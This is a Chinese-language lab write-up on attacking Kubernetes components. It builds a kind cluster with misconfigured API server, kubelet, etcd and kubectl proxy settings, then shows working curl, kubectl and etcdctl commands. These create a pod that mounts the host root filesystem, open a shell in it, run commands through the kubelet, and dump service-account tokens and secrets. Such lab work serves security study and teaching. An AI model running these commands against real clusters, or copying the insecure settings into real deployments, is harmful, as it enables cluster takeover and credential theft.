4.k8s-组件攻防

Pasted image 20250412130113

1. 环境部署

kind 部署 1master 1worker 开放监听(v1.23) 集群。

kind create cluster --config config.yaml
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: demo
nodes:
- role: control-plane
  image: kindest/node:v1.23.4
  extraPortMappings:
  - containerPort: 6443
    hostPort: 26443
    listenAddress: "0.0.0.0"
    protocol: TCP  # 显式声明协议(高版本Kind需要配置才能映射成功)
  - containerPort: 10250
    hostPort: 20250
    listenAddress: "0.0.0.0"
    protocol: TCP  # 显式声明协议(高版本Kind需要配置才能映射成功)
  - containerPort: 2379
    hostPort: 22379
    listenAddress: "0.0.0.0"
    protocol: TCP  # 显式声明协议(高版本Kind需要配置才能映射成功)
- role: worker
  image: kindest/node:v1.23.4

注:受新版本 Kind(v0.11+)的主动安全特性 的影响,会限制部分高位端口的映射,需要配置显式声明协议才能映射成功

2. 未授权访问

2.1. 6443端口system:anonymous错误配置

成因
运维人员配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使 6443 端口允许匿名用户以管理员权限向集群内部下发指令

(把匿名用户绑定到了管理员组)

未配置前

curl -k https://xxxx:26443/api/v1/namespaces/kube-system/pods

Pasted image 20250410211101

漏洞环境配置

#创建一个 ​ClusterRoleBinding 资源
#资源名字为 system:anonymous
#作用: 将集群角色 cluster-admin 绑定到 system:anonymous 主体, 
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

#删除角色绑定
kubectl delete clusterrolebinding system:anonymous

获取 kube-system 中的 Pod

#获取 kube-system 命名空间下的所有 Pod 信息, 使用jq筛选一下不然内容太多
curl -k https://xxxx:26443/api/v1/namespaces/kube-system/pods | jq '.items[].metadata.name'

Pasted image 20250410212157
可以发现现在是可以匿名访问apiserver获取集群信息,但是我们现在只有一个未授权访问,我们可以通过下一步获取到集群内Node pod的操作权限

创建恶意容器(允许hostPath) 把宿主机根目录挂载到容器的/host目录

curl -k -X POST \
  -H "Content-Type: application/json" \
  -H "Host: ip:26443" \
  -d '{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {
      "annotations": {
        "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"
      },
      "name": "test-4444",
      "namespace": "default"
    },
    "spec": {
      "containers": [
        {
          "image": "nginx:latest",
          "imagePullPolicy": "IfNotPresent",
          "name": "test-4444",
          "volumeMounts": [
            {
              "mountPath": "/host",
              "name": "host"
            }
          ]
        }
      ],
      "volumes": [
        {
          "hostPath": { 
            "path": "/",
            "type": "Directory"
          },
          "name": "host"
        }
      ]
    }
  }' \
  https://116.198.201.0:26443/api/v1/namespaces/default/pods

执行命令后发现恶意容器 test-4444 已经创建成功
Pasted image 20250410213156

#外部查看一下是否创建成功
curl -k https://116.198.201.0:26443/api/v1/namespaces/default/pods | jq '.items[].metadata.name'

Pasted image 20250410213303

恶意容器中执行命令

#报错的方法
curl -k https://116.198.201.0:26443/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=whoami

Pasted image 20250410213849

Note

返回400
原因是:对于 websocket 连接,首先进行 http(s) 调用,然后是使用 HTTP Upgrade 标头对websocket 的升级请求,curl/Postman 不支持从 http 升级到 websocket,因此错误。

此方法报错)尝试用 wscat 工具发送包,还是报错,

wscat -n -c 'https://116.198.201.0:26443/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=whoami' 

这里在本机用 kubectl 成功执行命令

#windows
kubectl.exe --insecure-skip-tls-verify -s https://116.198.201.0:26443 -n default exec -it test-4444 -- id
#linux
kubectl --insecure-skip-tls-verify -s https://116.198.201.0:26443 -n default exec -it test-4444 -- id

会让你输入账号密码,随便填就行
Pasted image 20250410221022

获取恶意Pod的shell

kubectl --insecure-skip-tls-verify -s https://116.198.201.0:26443 -n default exec -it test-4444 -- /bin/bash

Pasted image 20250410221403

2.2. 10250 kubelet端口未授权

成因
10250 端口是 kubelet API默认的 HTTPS 端口,该端口对外提供了 Pod 和 Node 的相关信息,如果该端口对公网暴露,并且关闭授权,则可能导致攻击。

未配置前

curl -k https://116.198.201.0:20250/pods

Pasted image 20250410222631

漏洞环境配置
将 busybox 程序复制到节点中,避免命令相关问题,方便后续操作

docker cp busybox <CONTAINER ID>:/busybox

进入 master 节点 并给busybox可执行权限

docker exec -it demo-control-plane /bin/bash
chmod 777 busybox

备份配置文件

cp /var/lib/kubelet/config.yaml /var/lib/kubelet/config-tmp.yaml

设置不安全的操作

./busybox vi /var/lib/kubelet/config.yaml

就是将下面的 false 改成 true,允许匿名身份验证;mode 改为 AlwaysAllow,启用 Webhook 身份验证方式,该方式允许 kubelet 使用外部的身份验证服务进行验证
Pasted image 20250410223503

节点中运行命令重启kubelet组件使配置生效 systemctl restart kubelet

获取 kube-system 中的 Pod
再访问这个端口就会发现不需要认证

curl -k https://116.198.201.0:20250/pods | jq '.items[].metadata.name'

Pasted image 20250410225547

我们此时可以在特权容器中执行命令kube-proxy 就是一个特权容器)

curl -k https://116.198.201.0:20250/run/{namespace}/{podName}/{appName} -d "cmd=whoami"
curl -k https://116.198.201.0:20250/run/kube-system/kube-scheduler-demo-control-plane/kube-scheduler -d "cmd=id"
#这里执行失败了
curl -k https://116.198.201.0:20250/run/kube-system/kube-apiserver-demo-control-plane/kube-apiserver -d "cmd=id"

Warning

kubelet 的 /run/ 接口在 ​Kubernetes v1.25​ 版本中被正式弃用,并在 ​v1.26​ 版本中完全移除
查看Kubernetes版本
Pasted image 20250410230444

高版本中用了更安全的 /exec/代替了

Failure

这里用 kube-proxy执行报错找不到pod 但是信息是对的
Pasted image 20250410233558

但是用其他的Pod则由于pod是极简镜像导致无法执行命令
Pasted image 20250410233636

2.3. 2379 etcd端口未授权

成因
在启动 etcd 时,如果没有指定 --client-cert-auth 参数打开证书校验,并且把 listen-client-urls 监听修改为 0.0.0.0(默认监听127.0.0.1),那么也就意味着这个端口被暴露在外,如果没有通过安全组防火墙的限制,就会造成危害。

未配置前
默认监听127.0.0.1,也就是只能在本地访问,一般都在 master 节点的宿主机上,将 busybox 程序复制到节点中,

docker cp busybox 29ea98d0081b:/busybox

进入 master 节点

docker exec -it demo-control-plane /bin/bash
chmod 777 busybox
./busybox netstat -tulpn |grep etcd

Pasted image 20250410234412
监听本地的私有地址 和 127.0.0.1。 这些都是集群内部或者本地才能访问的

备份配置文件

cp /etc/kubernetes/manifests/etcd.yaml /etc/kubernetes/manifests/etcd-tmp.yaml

设置不安全的配置文件

#--client-cert-auth=false 
#--listen-client-urls=http://0.0.0.0:2379 
./busybox vi /etc/kubernetes/manifests/etcd.yaml

Pasted image 20250410234632

注意这里是http 不是https

重启

systemctl restart kubelet

查看端口,设置成功

./busybox netstat -tulpn |grep etcd

Pasted image 20250410234746

查看 etcd 版本

curl http://116.198.201.0:22379/version

Pasted image 20250410235435

获取 token

etcdctl --insecure-transport --insecure-skip-tls-verify --endpoints=http://116.198.201.0:22379/ get --keys-only --prefix=true "/" | grep /secrets/kube-system/clusterrole

etcdctl --insecure-transport --insecure-skip-tls-verify --endpoints=http://116.198.201.0:22379/ get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-85nnn

Pasted image 20250410235640
这个就是secret包含的token了
Pasted image 20250410235945

2.4. kube-proxy 不安全配置

成因
当运维人员需要某个环境暴露端口或者 IP 时,会用到 Kubectl Proxy。

漏洞环境配置
使 API server 监听在本地的 8009 端口上,设置接收所有主机的请求,

#启动一个 ​**Kubernetes API Server 的本地代理**,允许通过 HTTP 访问集群的 API
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=22222

 获取Kubernetes 集群中的 ​Secret(密钥)资源****

curl -k http://116.198.201.0:22222/api/v1/namespaces/kube-system/secrets

Pasted image 20250411000701